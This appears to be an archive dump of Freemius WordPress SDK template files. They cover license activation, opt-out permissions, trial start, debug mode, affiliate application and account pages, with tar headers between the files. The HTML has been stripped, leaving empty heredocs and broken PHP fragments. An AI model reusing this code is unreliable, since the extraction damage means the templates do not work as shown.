'renew-license-now', $slug ) : fs_text_inline( 'Buy a license now', 'buy-license-now', $slug ) ), '' ); $modal_content_html = "

                  {$message}

                  "; $header_title = fs_text_inline( 'New Version Available', 'new-version-available', $slug ); $renew_license_button_text = is_object( $license ) ? fs_text_inline( 'Renew license', 'renew-license', $slug ) : fs_text_inline( 'Buy license', 'buy-license', $slug ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/user-change.php000064400000027362147600365160015740 0ustar00get_slug(); /** * @var object[] $license_owners */ $license_owners = $VARS['license_owners']; $change_user_message = fs_text_inline( 'By changing the user, you agree to transfer the account ownership to:', 'change-user--message', $slug ); $header_title = fs_text_inline( 'Change User', 'change-user', $slug ); $user_change_button_text = fs_text_inline( 'I Agree - Change User', 'agree-change-user', $slug ); $other_text = fs_text_inline( 'Other', 'other', $slug ); $enter_email_address_placeholder_text = fs_text_inline( 'Enter email address', 'enter-email-address', $slug ); $user_change_options_html = <<< HTML
                  HTML; foreach ( $license_owners as $license_owner ) { $user_change_options_html .= <<< HTML HTML; } $user_change_options_html .= <<< HTML
                  HTML; $modal_content_html = <<< HTML

                  {$change_user_message}

                  {$user_change_options_html} HTML; fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/index.php000064400000000127147600365160014634 0ustar00get_slug(); $send_button_text = fs_text_inline( 'Send License Key', 'send-license-key', $slug ); $cancel_button_text = fs_text_inline( 'Cancel', 'cancel', $slug ); $email_address_placeholder = fs_esc_attr_inline( 'Email address', 'email-address', $slug ); $other_text = fs_text_inline( 'Other', 'other', $slug ); $is_freemium = $fs->is_freemium(); $send_button_text_html = esc_html($send_button_text); $button_html = <<< HTML HTML; if ( $is_freemium ) { $current_user = Freemius::_get_current_wp_user(); $email = $current_user->user_email; $esc_email = esc_attr( $email ); $form_html = <<< HTML {$button_html} HTML; } else { $email = ''; $form_html = <<< HTML {$button_html} HTML; } $message_above_input_field = $fs->is_only_premium() ? fs_esc_html_inline( "Enter the email address you've used during the purchase and we will resend you the license key.", 'ask-for-upgrade-email-address-premium-only', $slug ) : fs_esc_html_inline( "Enter the email address you've used for the upgrade below and we will resend you the license key.", 'ask-for-upgrade-email-address', $slug ); $modal_content_html = <<< HTML

                  {$message_above_input_field}

                  {$form_html}
                  HTML; fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/optout.php000064400000023524147600365160015065 0ustar00get_slug(); $reconnect_url = $fs->get_activation_url( array( 'nonce' => wp_create_nonce( $fs->get_unique_affix() . '_reconnect' ), 'fs_action' => ( $fs->get_unique_affix() . '_reconnect' ), ) ); $plugin_title = "" . esc_html( $fs->get_plugin()->title ) . ""; $opt_out_text = fs_text_x_inline( 'Opt Out', 'verb', 'opt-out', $slug ); $permission_manager = FS_Permission_Manager::instance( $fs ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); fs_enqueue_local_style( 'fs_optout', '/admin/optout.css' ); fs_enqueue_local_style( 'fs_common', '/admin/common.css' ); if ( ! $permission_manager->is_premium_context() ) { $optional_permissions = array( $permission_manager->get_extensions_permission( false, false, true ) ); $permission_groups = array( array( 'id' => 'communication', 'type' => 'required', 'title' => $fs->get_text_inline( 'Communication', 'communication' ), 'desc' => '', 'permissions' => $permission_manager->get_opt_in_required_permissions( true ), 'is_enabled' => $fs->is_registered(), 'prompt' => array( $fs->esc_html_inline( "Sharing your name and email allows us to keep you in the loop about new features and important updates, warn you about security issues before they become public knowledge, and send you special offers.", 'opt-out-message_user' ), sprintf( $fs->esc_html_inline( 'By clicking "Opt Out", %s will no longer be able to view your name and email.', 'opt-out-message-clicking-opt-out' ), $plugin_title ), ), 'prompt_cancel_label' => $fs->get_text_inline( 'Stay Connected', 'stay-connected' ) ), array( 'id' => 'diagnostic', 'type' => 'required', 'title' => $fs->get_text_inline( 'Diagnostic Info', 'diagnostic-info' ), 'desc' => '', 'permissions' => $permission_manager->get_opt_in_diagnostic_permissions( true ), 'is_enabled' => $fs->is_tracking_allowed(), 'prompt' => array( sprintf( $fs->esc_html_inline( 'Sharing diagnostic data helps to provide additional functionality that\'s relevant to your website, avoid WordPress or PHP version incompatibilities that can break the website, and recognize which languages & regions the %s should be translated and tailored to.', 'opt-out-message-clicking-opt-out' ), $fs->get_module_type() ), sprintf( $fs->esc_html_inline( 'By clicking "Opt Out", diagnostic data will no longer be sent to %s.', 'opt-out-message-clicking-opt-out' ), $plugin_title ), ), 'prompt_cancel_label' => $fs->get_text_inline( 'Keep Sharing', 'keep-sharing' ) ), array( 'id' => 'extensions', 'type' => 'optional', 'title' => $fs->get_text_inline( 'Extensions', 'extensions' ), 'desc' => '', 'permissions' => $optional_permissions, ), ); } else { $optional_permissions = $permission_manager->get_license_optional_permissions( false, true ); $permission_groups = array( array( 'id' => 'essentials', 'type' => 'required', 'title' => $fs->esc_html_inline( 'Required', 'required' ), 'desc' => sprintf( $fs->esc_html_inline( 'For automatic delivery of security & feature updates, and license management & protection, %s needs to:', 'license-sync-disclaimer' ), '' . esc_html( $fs->get_plugin_title() ) . '' ), 'permissions' => $permission_manager->get_license_required_permissions( true ), 'is_enabled' => $permission_manager->is_essentials_tracking_allowed(), 'prompt' => array( sprintf( $fs->esc_html_inline( 'To ensure that security & feature updates are automatically delivered directly to your WordPress Admin Dashboard while protecting your license from unauthorized abuse, %2$s needs to view the website’s homepage URL, %1$s version, SDK version, and whether the %1$s is active.', 'premium-opt-out-message-usage-tracking' ), $fs->get_module_type(), $plugin_title ), sprintf( $fs->esc_html_inline( 'By opting out from sharing this information with the updates server, you’ll have to check for new %1$s releases and manually download & install them. Not just a hassle, but missing an update can put your site at risk and cause undue compatibility issues, so we highly recommend keeping these essential permissions on.', 'opt-out-message-clicking-opt-out' ), $fs->get_module_type(), $plugin_title ), ), 'prompt_cancel_label' => $fs->get_text_inline( 'Keep automatic updates', 'premium-opt-out-cancel' ) ), array( 'id' => 'optional', 'type' => 'optional', 'title' => $fs->esc_html_inline( 'Optional', 'optional' ), 'desc' => sprintf( $fs->esc_html_inline( 'For ongoing compatibility with your website, you can optionally allow %s to:', 'optional-permissions-disclaimer' ), $plugin_title ), 'permissions' => $optional_permissions, ), ); } $ajax_action = 'toggle_permission_tracking'; $form_id = "fs_opt_out_{$fs->get_id()}"; ?> require_permissions_js( false ) ?> vendor/freemius/templates/forms/trial-start.php000064400000012353147600365160015777 0ustar00get_slug(); $message_header = sprintf( /* translators: %1$s: Number of trial days; %2$s: Plan name; */ fs_text_inline( 'You are 1-click away from starting your %1$s-day free trial of the %2$s plan.', 'start-trial-prompt-header', $slug ), '', '' ); $message_content = sprintf( /* translators: %s: Link to freemius.com */ fs_text_inline( 'For compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.', 'start-trial-prompt-message', $slug ), $fs->get_module_type(), sprintf( '%s', 'https://freemius.com', 'freemius.com' ) ); $modal_content_html = <<< HTML

                  {$message_header}

                  {$message_content}

                  HTML; fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/license-activation.php000064400000106023147600365160017310 0ustar00get_slug(); $unique_affix = $fs->get_unique_affix(); $cant_find_license_key_text = fs_text_inline( "Can't find your license key?", 'cant-find-license-key', $slug ); $message_above_input_field = fs_text_inline( 'Please enter the license key that you received in the email right after the purchase:', 'activate-license-message', $slug ); $message_below_input_field = ''; $header_title = $fs->is_free_plan() ? fs_text_inline( 'Activate License', 'activate-license', $slug ) : fs_text_inline( 'Update License', 'update-license', $slug ); if ( $fs->is_registered() ) { $activate_button_text = $header_title; } else { $message_below_input_field = sprintf( fs_text_inline( 'The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.', 'license-sync-disclaimer', $slug ), $fs->get_module_label( true ), "{$fs->get_plugin_title()}" ); $activate_button_text = fs_text_inline( 'Agree & Activate License', 'agree-activate-license', $slug ); } $license_key_text = fs_text_inline( 'License key', 'license-key' , $slug ); $is_network_activation = ( $fs->is_network_active() && fs_is_network_admin() && ! $fs->is_delegated_connection() ); $network_activation_html = ''; $sites_details = array(); if ( $is_network_activation ) { $all_sites = Freemius::get_sites(); $all_site_details = array(); $subsite_url_by_install_id = array(); $install_url_by_install_id = array(); foreach ( $all_sites as $site ) { $site_details = $fs->get_site_info( $site ); if ( FS_Clone_Manager::instance()->is_temporary_duplicate_by_blog_id( $site_details['blog_id'] ) ) { continue; } $blog_id = Freemius::get_site_blog_id( $site ); $install = $fs->get_install_by_blog_id($blog_id); if ( is_object( $install ) ) { if ( isset( $subsite_url_by_install_id[ $install->id ] ) ) { $clone_subsite_url = $subsite_url_by_install_id[ $install->id ]; $clone_install_url = $install_url_by_install_id[ $install->id ]; if ( /** * If we already have an install with the same URL as the subsite it's stored in, skip the current subsite. Otherwise, replace the existing install's data with the current subsite's install's data if the URLs match. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ fs_strip_url_protocol( untrailingslashit( $clone_install_url ) ) === fs_strip_url_protocol( untrailingslashit( $clone_subsite_url ) ) || fs_strip_url_protocol( untrailingslashit( $install->url ) ) !== fs_strip_url_protocol( untrailingslashit( $site_details['url'] ) ) ) { continue; } } if ( FS_Plugin_License::is_valid_id( $install->license_id ) ) { $site_details['license_id'] = $install->license_id; } $subsite_url_by_install_id[ $install->id ] = $site_details['url']; $install_url_by_install_id[ $install->id ] = $install->url; } $all_site_details[] = $site_details; } if ( $is_network_activation ) { $vars = array( 'id' => $fs->get_id(), 'sites' => $all_site_details, 'require_license_key' => true ); $network_activation_html = fs_get_template( 'partials/network-activation.php', $vars ); } } $premium_licenses = $fs->get_available_premium_licenses(); $available_licenses = array(); foreach ( $premium_licenses as $premium_license ) { $activations_left = $premium_license->left(); if ( ! ( $activations_left > 0 ) ) { continue; } $available_licenses[ $activations_left . '_' . $premium_license->id ] = $premium_license; } $total_available_licenses = count( $available_licenses ); if ( $total_available_licenses > 0 ) { $license_input_html = <<< HTML
                  HTML; if ( $total_available_licenses > 1 ) { // Sort the licenses by number of activations left in descending order. krsort( $available_licenses ); $license_input_html .= ''; } else { $available_licenses = array_values( $available_licenses ); /** * @var FS_Plugin_License $available_license */ $available_license = $available_licenses[0]; $value = sprintf( "%s-Site %s License - %s", ( 1 == $available_license->quota ? 'Single' : ( $available_license->is_unlimited() ? 'Unlimited' : $available_license->quota ) ), $fs->_get_plan_by_id( $available_license->plan_id )->title, $available_license->get_html_escaped_masked_secret_key() ); $license_input_html .= <<< HTML HTML; } $license_input_html .= <<< HTML
                  HTML; } else { $license_input_html = ""; } $ownership_change_option_text = fs_text_inline( "Associate with the license owner's account.", 'associate-account-with-license-owner', $slug ); $ownership_change_option_html = ""; /** * IMPORTANT: * DO NOT ADD MAXLENGTH OR LIMIT THE LICENSE KEY LENGTH SINCE * WE DO WANT TO ALLOW INPUT OF LONGER KEYS (E.G. WooCommerce Keys) * FOR MIGRATED MODULES. */ $modal_content_html = <<< HTML

                  {$message_above_input_field}

                  {$license_input_html} {$cant_find_license_key_text} {$network_activation_html}

                  {$message_below_input_field}

                  {$ownership_change_option_html} HTML; /** * Handle the ownership change option if not an add-on or if no license yet is activated for the * parent product in case of an add-on. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ $is_user_change_supported = ( ! $fs->is_addon() || ! $fs->get_parent_instance()->has_active_valid_license() ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> get_slug(); $user = $fs->get_user(); $current_email_address = $user->email; fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/data-debug-mode.php000064400000017406147600365160016454 0ustar00get_slug(); $unique_affix = $fs->get_unique_affix(); $last_license_user_id = $fs->get_last_license_user_id(); $has_last_license_user_id = FS_User::is_valid_id( $last_license_user_id ); $message_above_input_field = ( ! $has_last_license_user_id ) ? fs_text_inline( 'Please enter the license key to enable the debug mode:', 'submit-developer-license-key-message', $slug ) : sprintf( fs_text_inline( 'To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:', 'submit-addon-developer-key-message', $slug ), $last_license_user_id ); $processing_text = ( fs_esc_js_inline( 'Processing', 'processing', $slug ) . '...' ); $submit_button_text = fs_text_inline( 'Submit', 'submit', $slug ); $debug_license_link_text = fs_esc_html_inline( 'Start Debug', 'start-debug-license', $slug ); $license_or_user_key_text = ( ! $has_last_license_user_id ) ? fs_text_inline( 'License key', 'license-key' , $slug ) : fs_text_inline( 'User key', 'user-key' , $slug ); $input_html = ""; $modal_content_html = <<< HTML

                  {$message_above_input_field}

                  {$input_html} HTML; fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/affiliation.php000064400000072402147600365160016017 0ustar00get_slug(); $user = $fs->get_user(); $affiliate = $fs->get_affiliate(); $affiliate_terms = $fs->get_affiliate_terms(); $module_type = $fs->is_plugin() ? WP_FS__MODULE_TYPE_PLUGIN : WP_FS__MODULE_TYPE_THEME; $commission = $affiliate_terms->get_formatted_commission(); $readonly = false; $is_affiliate = is_object( $affiliate ); $is_pending_affiliate = false; $email_address = ( is_object( $user ) ? $user->email : '' ); $full_name = ( is_object( $user ) ? $user->get_name() : '' ); $paypal_email_address = ''; $domain = ''; $extra_domains = array(); $promotion_method_social_media = false; $promotion_method_mobile_apps = false; $statistics_information = false; $promotion_method_description = false; $members_dashboard_login_url = 'https://users.freemius.com/login'; $affiliate_application_data = $fs->get_affiliate_application_data(); if ( $is_affiliate && $affiliate->is_pending() ) { $readonly = 'readonly'; $is_pending_affiliate = true; $paypal_email_address = $affiliate->paypal_email; $domain = $affiliate->domain; $statistics_information = $affiliate_application_data['stats_description']; $promotion_method_description = $affiliate_application_data['promotion_method_description']; if ( ! empty( $affiliate_application_data['additional_domains'] ) ) { $extra_domains = $affiliate_application_data['additional_domains']; } if ( ! empty( $affiliate_application_data['promotion_methods'] ) ) { $promotion_methods = explode( ',', $affiliate_application_data['promotion_methods'] ); $promotion_method_social_media = in_array( 'social_media', $promotion_methods ); $promotion_method_mobile_apps = in_array( 'mobile_apps', $promotion_methods ); } } else { if ( ! is_object( $user ) ) { $current_user = Freemius::_get_current_wp_user(); $full_name = trim( $current_user->user_firstname . ' ' . $current_user->user_lastname ); $email_address = $current_user->user_email; } $domain = Freemius::get_unfiltered_site_url( null, true ); } $affiliate_tracking = 30; if ( is_object( $affiliate_terms ) ) { $affiliate_tracking = ( ! is_null( $affiliate_terms->cookie_days ) ? ( $affiliate_terms->cookie_days . '-day' ) : fs_text_inline( 'Non-expiring', 'non-expiring', $slug ) ); } $apply_to_become_affiliate_text = fs_text_inline( 'Apply to become an affiliate', 'apply-to-become-an-affiliate', $slug ); $module_id = $fs->get_id(); $affiliate_program_terms_url = "https://freemius.com/plugin/{$module_id}/{$slug}/legal/affiliate-program/"; $has_tabs = $fs->_add_tabs_before_content(); ?>
                  is_active() ) : ?>

                  %s', $members_dashboard_login_url, $members_dashboard_login_url ) ); ?>

                  is_suspended() ) { $message_text = fs_text_inline( 'Your affiliation account was temporarily suspended.', 'affiliate-account-suspended', $slug ); $message_container_class = 'notice notice-warning'; } else if ( $affiliate->is_rejected() ) { $message_text = fs_text_inline( "Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.", 'affiliate-application-rejected', $slug ); $message_container_class = 'error'; } else if ( $affiliate->is_blocked() ) { $message_text = fs_text_inline( 'Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.', 'affiliate-account-blocked', $slug ); $message_container_class = 'error'; } ?>

                  • has_renewals_commission() ) : ?>
                  • is_session_cookie() ) ) : ?>
                  • has_lifetime_commission() ) : ?>
                  >

                  >
                  >
                  >
                  >

                  + ...
                  >

                  >
                  />
                  />

                  _add_tabs_after_content(); } $params = array( 'page' => 'affiliation', 'module_id' => $module_id, 'module_slug' => $slug, 'module_version' => $fs->get_plugin_version(), ); fs_require_template( 'powered-by.php', $params ); vendor/freemius/templates/js/open-license-activation.php000064400000002176147600365160017541 0ustar00 vendor/freemius/templates/js/index.php000064400000000127147600365160014122 0ustar00get_slug(); ?> vendor/freemius/templates/js/jquery.content-change.php000064400000003050147600365160017224 0ustar00 vendor/freemius/templates/js/permissions.php000064400000052135147600365160015374 0ustar00 vendor/freemius/templates/partials/network-activation.php000064400000011565147600365160020056 0ustar00get_slug(); $sites = $VARS['sites']; $require_license_key = $VARS['require_license_key']; $show_delegation_option = $fs->apply_filters( 'show_delegation_option', true ); $enable_per_site_activation = $fs->apply_filters( 'enable_per_site_activation', true ); ?> |' ?> vendor/freemius/templates/partials/index.php000064400000000032147600365160015320 0ustar00
                    $url ) : ?>
                  vendor/freemius/templates/plugin-info/index.php000064400000000127147600365160015735 0ustar00features) && is_array($plan->features)) { foreach ( $plan->features as $feature ) { if ( ! isset( $features_plan_map[ $feature->id ] ) ) { $features_plan_map[ $feature->id ] = array( 'feature' => $feature, 'plans' => array() ); } $features_plan_map[ $feature->id ]['plans'][ $plan->id ] = $feature; } } // Add support as a feature. if ( ! empty( $plan->support_email ) || ! empty( $plan->support_skype ) || ! empty( $plan->support_phone ) || true === $plan->is_success_manager ) { if ( ! isset( $features_plan_map['support'] ) ) { $support_feature = new stdClass(); $support_feature->id = 'support'; $support_feature->title = fs_text_inline( 'Support', $plugin->slug ); $features_plan_map[ $support_feature->id ] = array( 'feature' => $support_feature, 'plans' => array() ); } else { $support_feature = $features_plan_map['support']['feature']; } $features_plan_map[ $support_feature->id ]['plans'][ $plan->id ] = $support_feature; } } // Add updates as a feature for all plans. $updates_feature = new stdClass(); $updates_feature->id = 'updates'; $updates_feature->title = fs_text_inline( 'Unlimited Updates', 'unlimited-updates', $plugin->slug ); $features_plan_map[ $updates_feature->id ] = array( 'feature' => $updates_feature, 'plans' => array() ); foreach ( $plans as $plan ) { $features_plan_map[ $updates_feature->id ]['plans'][ $plan->id ] = $updates_feature; } ?>
                  $data ) : ?>
                  title ?> pricing ) ) { fs_esc_html_echo_inline( 'Free', 'free', $plugin->slug ); } else { foreach ( $plan->pricing as $pricing ) { /** * @var FS_Pricing $pricing */ if ( 1 == $pricing->licenses ) { if ( $pricing->has_annual() ) { echo "\${$pricing->annual_price} / " . fs_esc_html_x_inline( 'year', 'as annual period', 'year', $plugin->slug ); } else if ( $pricing->has_monthly() ) { echo "\${$pricing->monthly_price} / " . fs_esc_html_x_inline( 'mo', 'as monthly period', 'mo', $plugin->slug ); } else { echo "\${$pricing->lifetime_price}"; } } } } ?>
                  title ) ) ?> id ] ) ) : ?> id ]->value ) ) : ?> id ]->value ) ?>
                  vendor/freemius/templates/plugin-info/description.php000064400000004210147600365160017146 0ustar00info->selling_point_0 ) || ! empty( $plugin->info->selling_point_1 ) || ! empty( $plugin->info->selling_point_2 ) ) : ?>
                    info->{'selling_point_' . $i} ) ) : ?>
                  • info->{'selling_point_' . $i} ) ?>

                  info->description, array( 'a' => array( 'href' => array(), 'title' => array(), 'target' => array() ), 'b' => array(), 'i' => array(), 'p' => array(), 'blockquote' => array(), 'h2' => array(), 'h3' => array(), 'ul' => array(), 'ol' => array(), 'li' => array() ) ); ?>
                  info->screenshots ) ) : ?> info->screenshots ?>

                  slug ) ?>

                    $url ) : ?>
                  vendor/freemius/templates/account.php000064400000201710147600365160014034 0ustar00get_slug(); /** * @var FS_Plugin_Tag $update */ $update = $fs->has_release_on_freemius() ? $fs->get_update( false, false, WP_FS__TIME_24_HOURS_IN_SEC / 24 ) : null; if ( is_object($update) ) { /** * This logic is particularly required for multisite environment. * If a module is site activated (not network) and not on the main site, * the module will NOT be executed on the network level, therefore, the * custom updates logic will not be executed as well, so unless we force * the injection of the update into the updates transient, premium updates * will not work. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ $updater = FS_Plugin_Updater::instance( $fs ); $updater->set_update_data( $update ); } $is_paying = $fs->is_paying(); $user = $fs->get_user(); $site = $fs->get_site(); $name = $user->get_name(); $license = $fs->_get_license(); $is_license_foreign = ( is_object( $license ) && $user->id != $license->user_id ); $is_data_debug_mode = $fs->is_data_debug_mode(); $is_whitelabeled = $fs->is_whitelabeled(); $subscription = ( is_object( $license ) ? $fs->_get_subscription( $license->id ) : null ); $plan = $fs->get_plan(); $is_active_subscription = ( is_object( $subscription ) && $subscription->is_active() ); $is_paid_trial = $fs->is_paid_trial(); $has_paid_plan = $fs->apply_filters( 'has_paid_plan_account', $fs->has_paid_plan() ); $show_upgrade = ( ! $is_whitelabeled && $has_paid_plan && ! $is_paying && ! $is_paid_trial ); $trial_plan = $fs->get_trial_plan(); $is_plan_change_supported = ( ! $fs->is_single_plan() && ! $fs->apply_filters( 'hide_plan_change', false ) ); if ( $has_paid_plan ) { $fs->_add_license_activation_dialog_box(); } if ( $fs->should_handle_user_change() ) { $fs->_add_email_address_update_dialog_box(); } $ids_of_installs_activated_with_foreign_licenses = $fs->should_handle_user_change() ? $fs->get_installs_ids_with_foreign_licenses() : array(); if ( ! empty( $ids_of_installs_activated_with_foreign_licenses ) ) { $fs->_add_user_change_dialog_box( $ids_of_installs_activated_with_foreign_licenses ); } if ( $fs->is_whitelabeled( true ) || $fs->is_data_debug_mode() ) { $fs->_add_data_debug_mode_dialog_box(); } if ( fs_request_get_bool( 'auto_install' ) ) { $fs->_add_auto_installation_dialog_box(); } if ( fs_request_get_bool( 'activate_license' ) ) { // Open the license activation dialog box on the account page. add_action( 'admin_footer', array( &$fs, '_open_license_activation_dialog_box' ) ); } $show_billing = ( ! $is_whitelabeled && ! $fs->apply_filters( 'hide_billing_and_payments_info', false ) ); if ( $show_billing ) { $payments = $fs->_fetch_payments(); $show_billing = ( is_array( $payments ) && 0 < count( $payments ) ); } $has_tabs = $fs->_add_tabs_before_content(); // Aliases. $download_latest_text = fs_text_x_inline( 'Download Latest', 'as download latest version', 'download-latest', $slug ); $downgrading_plan_text = fs_text_inline( 'Downgrading your plan', 'downgrading-plan', $slug ); $cancelling_subscription_text = fs_text_inline( 'Cancelling the subscription', 'cancelling-subscription', $slug ); /* translators: %1$s: Either 'Downgrading your plan' or 'Cancelling the subscription' */ $downgrade_x_confirm_text = fs_text_inline( '%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.', 'downgrade-x-confirm', $slug ); $prices_increase_text = fs_text_inline( 'Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.', 'pricing-increase-warning', $slug ); $cancel_trial_confirm_text = fs_text_inline( 'Cancelling the trial will immediately block access to all premium features. Are you sure?', 'cancel-trial-confirm', $slug ); $after_downgrade_non_blocking_text = fs_text_inline( 'You can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.', 'after-downgrade-non-blocking', $slug ); $after_downgrade_blocking_text = fs_text_inline( 'Once your license expires you can still use the Free version but you will NOT have access to the %s features.', 'after-downgrade-blocking', $slug ); /* translators: %s: Plan title (e.g. "Professional") */ $activate_plan_text = fs_text_inline( 'Activate %s Plan', 'activate-x-plan', $slug ); $version_text = fs_text_x_inline( 'Version', 'product version', 'version', $slug ); /* translators: %s: Time period (e.g. Auto renews in "2 months") */ $renews_in_text = fs_text_inline( 'Auto renews in %s', 'renews-in', $slug ); /* translators: %s: Time period (e.g. Expires in "2 months") */ $expires_in_text = fs_text_inline( 'Expires in %s', 'expires-in', $slug ); $sync_license_text = fs_text_x_inline( 'Sync License', 'as synchronize license', 'sync-license', $slug ); $cancel_trial_text = fs_text_inline( 'Cancel Trial', 'cancel-trial', $slug ); $change_plan_text = fs_text_inline( 'Change Plan', 'change-plan', $slug ); $upgrade_text = fs_text_x_inline( 'Upgrade', 'verb', 'upgrade', $slug ); $addons_text = fs_text_inline( 'Add-Ons', 'add-ons', $slug ); $downgrade_text = fs_text_x_inline( 'Downgrade', 'verb', 'downgrade', $slug ); $trial_text = fs_text_x_inline( 'Trial', 'trial period', 'trial', $slug ); $free_text = fs_text_inline( 'Free', 'free', $slug ); $activate_text = fs_text_inline( 'Activate', 'activate', $slug ); $plan_text = fs_text_x_inline( 'Plan', 'as product pricing plan', 'plan', $slug ); $bundle_plan_text = fs_text_inline( 'Bundle Plan', 'bundle-plan', $slug ); $show_plan_row = true; $show_license_row = is_object( $license ); $site_view_params = array(); if ( fs_is_network_admin() ) { $sites = Freemius::get_sites(); $all_installs_plan_id = null; $all_installs_license_id = ( $show_license_row ? $license->id : null ); foreach ( $sites as $s ) { $site_info = $fs->get_site_info( $s ); $install = $fs->get_install_by_blog_id( $site_info['blog_id'] ); $view_params = array( 'freemius' => $fs, 'user' => $fs->get_user(), 'license' => $license, 'site' => $site_info, 'install' => $install, ); $site_view_params[] = $view_params; if ( empty( $install ) ) { continue; } if ( $show_plan_row ) { if ( is_null( $all_installs_plan_id ) ) { $all_installs_plan_id = $install->plan_id; } else if ( $all_installs_plan_id != $install->plan_id ) { $show_plan_row = false; } } if ( $show_license_row && $all_installs_license_id != $install->license_id ) { $show_license_row = false; } } } $has_bundle_license = false; if ( is_object( $license ) && FS_Plugin_License::is_valid_id( $license->parent_license_id ) ) { // Context license has a parent license, therefore, the account has a bundle license. $has_bundle_license = true; } $bundle_subscription = null; $is_bundle_first_payment_pending = false; if ( $show_plan_row && is_object( $license ) && $has_bundle_license ) { $bundle_plan_title = strtoupper( $license->parent_plan_title ); $bundle_subscription = $fs->_get_subscription( $license->parent_license_id ); $is_bundle_first_payment_pending = $license->is_first_payment_pending(); } $fs_blog_id = ( is_multisite() && ! is_network_admin() ) ? get_current_blog_id() : 0; $active_plugins_directories_map = Freemius::get_active_plugins_directories_map( $fs_blog_id ); $is_premium = $fs->is_premium(); $account_addons = $fs->get_updated_account_addons(); $installed_addons = $fs->get_installed_addons(); $installed_addons_ids = array(); /** * Store the installed add-ons' IDs into a collection which will be used in determining the add-ons to show on the "Account" page, and at the same time try to find an add-on that is activated with a bundle license if the core product is not. * * @author Leo Fajardo * * @since 2.4.0 */ foreach ( $installed_addons as $fs_addon ) { $installed_addons_ids[] = $fs_addon->get_id(); if ( $has_bundle_license ) { // We already have the context bundle license details, skip. continue; } if ( $show_plan_row && $fs_addon->has_active_valid_license() ) { $addon_license = $fs_addon->_get_license(); if ( FS_Plugin_License::is_valid_id( $addon_license->parent_license_id ) ) { // Add-on's license is associated with a parent/bundle license. $has_bundle_license = true; $bundle_plan_title = strtoupper( $addon_license->parent_plan_title ); $bundle_subscription = $fs_addon->_get_subscription( $addon_license->parent_license_id ); $is_bundle_first_payment_pending = $addon_license->is_first_payment_pending(); } } } $addons_to_show = array_unique( array_merge( $installed_addons_ids, $account_addons ) ); $is_active_bundle_subscription = ( is_object( $bundle_subscription ) && $bundle_subscription->is_active() ); $available_license = ( $fs->is_free_plan() && ! fs_is_network_admin() ) ? $fs->_get_available_premium_license( $site->is_localhost() ) : null; $available_license_paid_plan = is_object( $available_license ) ? $fs->_get_plan_by_id( $available_license->plan_id ) : null; ?>
                  apply_filters( 'hide_account_tabs', false ) ) : ?>

                  apply_filters( 'hide_license_key', false ) ); $profile = array(); if ( ! $is_whitelabeled ) { $profile[] = array( 'id' => 'user_name', 'title' => fs_text_inline( 'Name', 'name', $slug ), 'value' => $name ); // if (isset($user->email) && false !== strpos($user->email, '@')) $profile[] = array( 'id' => 'email', 'title' => fs_text_inline( 'Email', 'email', $slug ), 'value' => $user->email ); if ( is_numeric( $user->id ) ) { $profile[] = array( 'id' => 'user_id', 'title' => fs_text_inline( 'User ID', 'user-id', $slug ), 'value' => $user->id ); } } $profile[] = array( 'id' => 'product', 'title' => ( $fs->is_plugin() ? fs_text_inline( 'Plugin', 'plugin', $slug ) : fs_text_inline( 'Theme', 'theme', $slug ) ), 'value' => $fs->get_plugin_title() ); $profile[] = array( 'id' => 'product_id', 'title' => ( $fs->is_plugin() ? fs_text_inline( 'Plugin', 'plugin', $slug ) : fs_text_inline( 'Theme', 'theme', $slug ) ) . ' ' . fs_text_inline( 'ID', 'id', $slug ), 'value' => $fs->get_id() ); if ( ! fs_is_network_admin()) { $profile[] = array( 'id' => 'site_id', 'title' => fs_text_inline( 'Site ID', 'site-id', $slug ), 'value' => is_string( $site->id ) ? $site->id : fs_text_inline( 'No ID', 'no-id', $slug ) ); $profile[] = array( 'id' => 'site_public_key', 'title' => fs_text_inline( 'Public Key', 'public-key', $slug ), 'value' => $site->public_key ); $profile[] = array( 'id' => 'site_secret_key', 'title' => fs_text_inline( 'Secret Key', 'secret-key', $slug ), 'value' => ( ( is_string( $site->secret_key ) ) ? $site->secret_key : fs_text_x_inline( 'No Secret', 'as secret encryption key missing', 'no-secret', $slug ) ) ); } $profile[] = array( 'id' => 'version', 'title' => $version_text, 'value' => $fs->get_plugin_version() ); if ( ! fs_is_network_admin() && $is_premium ) { $profile[] = array( 'id' => 'beta_program', 'title' => '', 'value' => $site->is_beta ); } if ( $has_paid_plan || $has_bundle_license ) { if ( $fs->is_trial() ) { if ( $show_plan_row ) { $profile[] = array( 'id' => 'plan', 'title' => $plan_text, 'value' => ( is_string( $trial_plan->name ) ? strtoupper( $trial_plan->title ) : fs_text_inline( 'Trial', 'trial', $slug ) ) ); } } else { if ( $show_plan_row ) { $profile[] = array( 'id' => 'plan', 'title' => ( $has_bundle_license ? ucfirst( $fs->get_module_type() ) . ' ' : '' ) . $plan_text, 'value' => strtoupper( is_string( $plan->name ) ? $plan->title : strtoupper( $free_text ) 